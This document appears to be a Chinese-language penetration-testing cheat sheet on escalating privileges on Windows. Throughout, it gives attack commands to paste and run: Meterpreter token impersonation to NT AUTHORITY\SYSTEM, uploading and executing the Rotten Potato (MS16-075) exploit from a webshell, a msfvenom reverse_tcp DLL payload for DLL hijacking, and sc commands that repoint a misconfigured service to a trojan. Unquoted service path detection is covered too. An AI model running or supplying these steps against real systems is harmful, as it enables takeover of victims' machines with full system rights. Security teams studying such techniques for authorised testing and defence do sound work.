Windows提权篇

提权篇

1.令牌窃取

比较老的漏洞利用，针对windows老系统有用。

使用范围：

Microsoft Windows XP Professional SP3 和之前版本

Windows Server 2003 SP2 和之前的版本

Windows Server 2003 x64 和 x64 SP2 Windows Server 2003（用于基于 Itanium 的系统 SP2 和先前版本）

Windows Server 2008 x32 x64 Windows Server 2008（用于基于 Itanium 的系统）

Windows Vista SP1 和之前的版本 Windows Vista x64 SP1 和之前的版

使用手法： 在MSF上有使用的模块

use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

 

2.烂土豆提权

使用条件：webshell权限（web服务中间件权限）+烂土豆工具去反弹meterpreter

烂土豆(Rotten Potato) MS16-075 提权是一个本地提权，只针对本地用户，不支持域用户 适用版本：Windows 7、8、10、windows server2008、windows server2012

主要是烂土豆配合令牌窃取提权，

使用过程：在获得webshell之后，上传potato.exez+执行potato.exe+利用窃取模块提升至system权限

烂土豆地址：windows-kernel-exploits/MS16-075 at master · SecWiki/windows-kernel-exploits · GitHub

将烂土豆文件通过工具或者其他方式上传到对方的路径下
upload /root/桌面/potato.exe C:\
 
之后配合MSF进行提权
进入烂土豆目录执行烂土豆
cd C:\\
 
配合令牌窃取
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"
​

3.DLL劫持

##不太好用，需要能替换dll文件，dll文件替换后管理员必须启动应用程序

原理：windows程序在启动时候需要dll文件，如果dll文件不存在，则在应用程序中查找，可在应用程序目录下放置恶意dll文件来配合令牌窃取提权

windows应用程序有预定义dll搜索路径：

1.应用程序加载目录

2.C:\Windows\System32

3.C:\Windows\System

4.C:\Windows

5.当前工作目录，CWD

6.在PATH环境变量下的目录（先系统后用户）

#MSF生成dll文件，上传目标主机
msfvenom -p windows/meterpreter/reverse_tcp 
lhost=xx.xxx.xx.xx lport=xx -f dll >/desktop/xx.dll
#之后替换应用程序相应的dll文件
#目标主机应用程序运行后就会监听到，之后进行令牌窃取
list_tokens -u
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"
​

4.不带引号服务路径

配合msf-web，本地提权。（实验：windows-2012）,也不太好用，大部分软件都配置规范

原理：

当windows服务运行时，有以下两种情况。如果给出了可执行文件，并且引用路径完整，则系统会按照字面解释并执行它。

但如果服务的二进制路径未包含在引号中，则操作系统将会执行找到的空格分隔的服务路径的第一个实例：

正常服务路径 "C:\Program File\a.exe" -f 引号里面是路径，外面是参数，系统认为引号里面是执行的程序

当没有引号时 C:\Program File\a.exe -f 系统认为第一个空格后面的是参数，导致出错

操作过程：检测引号服务路径，利用路径制作文件并上传，启动或重启服务，调用后成功

检测引号服务路径命令：
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\windows\\" findstr /i /v """

5.不安全的服务权限

本地提权,不好用

原理：由于管理配置错误，用户对服务拥有过多的权限，可以直接修改导致重定向执行文件

过程：检测服务权限配置—制作文件上传—更改服务路径指向—调用后成功

accesschk.exe应用地址：https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk
​
检测服务权限配置
accesschk.exe -uwcqv "administrators" *
更改木马路径指向
sc config "xx.exe" binpath "权限过多的文件"
启动木马文件
sc start xx.exe